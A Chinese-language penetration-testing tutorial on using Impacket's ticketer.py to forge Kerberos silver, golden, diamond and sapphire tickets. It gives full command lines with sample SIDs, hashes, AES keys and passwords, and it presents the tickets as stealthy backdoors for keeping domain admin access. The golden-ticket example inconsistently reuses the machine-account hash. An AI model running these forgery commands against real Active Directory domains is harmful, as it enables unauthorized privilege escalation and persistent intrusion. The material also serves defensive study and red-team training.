深蓝实验室@碎雪
众所周知,Impacket是目前渗透中非常常用的一个框架,由于该框架自带了一些脚本,而这些脚本又非常好用。所以它不仅仅是一个框架,更是一个很好用的渗透工具。我们今天就介绍其中的一个脚本,ticketer.py。该脚本的认证方式有密码认证和hash认证,作用是伪造各种服务票据,例如银票据、金票据、钻石票据、蓝宝石票据。
注意微软系统在2021年11月更新之后,如果伪造的用户名在AD域中是不存在的用户,则票据会被拒绝使用。
银票伪造
银票因为不需要与DC通信,所以比金票更加隐蔽。但是银票只能对伪造的服务有效,且会随着服务账户密码的修改而失效。
使用win-7$的机器账户的hash 96dd976cc094ca1ddb2f06476fb61eb6伪造cifs/win-7的服务票据,使用票据的用户是根本不存在的qqq或者存在的任意用户。
py -3 .\ticketer.py -spn cifs/win-7 -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -domain test.com -nthash 96dd976cc094ca1ddb2f06476fb61eb6 qqq
通过伪造域控的银票,可以隐蔽在目标域环境的指定域控上留下后门。随时拿回丢失的域权限。
金票伪造
使用krbtgt的密钥伪造TGT中的PAC的权限,证明任意用户属于特权组。然后通过伪造了PAC的TGT换ST,从而获得任意服务的权限。金票据因为需要和DC进行交互,所以建议在域内使用,域外通过代理使用有时候会换不到ST。
注意金票会随着krbtgt密码的修改而失效,金票的伪造命令是在银票的命令基础上去掉-spn,将nthash修改为krbtgt的hash即可。
py -3 .\ticketer.py -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -domain test.com -nthash 96dd976cc094ca1ddb2f06476fb61eb6 qqq
通过伪造金票据,可以在目标域环境内随时获得任何机器任何服务的管理员权限,可以说是相当好用的一个后门。但是相对于银票据来说,也相对的没有那么隐蔽。
钻石票据伪造
由于金票据和银票据没有合法的KRB_AS_REQ或KRB_TGS_REG请求,所以会被发现。而钻石票据会正常请求票据,然后解密票据的PAC,修改并重新加密。从而增加了隐蔽性。
aesKey是krbtgt的密钥,注意一般aesKey都是256位加密的,这个得看DC的算法。所以128的hash也建议存一份吧
-user-id和-groups是可选的,如果不选分别会默认500和513, 512, 520, 518, 519-user和-password是要真实去发起TGT请求的用户的账密,可使用hash。这个用户实际上是什么权限不重要
py -3 ticketer.py -request -domain test.com -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -user administrator -password 1qaz@WSX -aesKey 245a674a434726c081385a3e2b33b62397e9b5fd7d02a613212c7407b9f13b41 -user-id 1500 -groups 12,513,518,519,520 qqq
为了解决金票据不够用隐蔽的问题,我们可以使用钻石票据进行隐藏,不过更加隐蔽的还是蓝宝石票据。
蓝宝石票据伪造
钻石票据是伪造的PAC特权,但是蓝宝石票据是将真实高权限用户的PAC替换到低权限的TGT中,从而成为目前最难检测的手法
不过该技术还是impacket的一个分支,正在等待合并。
注意,因脚本还未开发完善的问题,在笔者攥写的时候未复现成功。
py -3 ticketer_imper.py -request -domain test.com -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -user administrator -password 1qaz@WSX -aesKey 245a674a434726c081385a3e2b33b62397e9b5fd7d02a613212c7407b9f13b41 -impersonate administrator qqq
参考:
https://github.com/SecureAuthCorp/impacket/pull/1411
常用选项
-spn SPN 银票用,一般都是某个服务器的cifs或DC的ldap服务,mssql啥的也可以考虑-request 要求请求TGT,这个脚本里可以理解为钻石票据伪造。必须同时存在-user和-password-aesKey hex key 用来签名票据的krbtgt的AES加密的密码-nthash NTHASH 用来签名票据的krbtgt的NTLM加密的密码-keytab KEYTAB 请求文件内容中的多个银票据-duration DURATION 修改票据的失效时间-user-id USER_ID 指定伪造PAC的用户权限ID,默认是500 管理员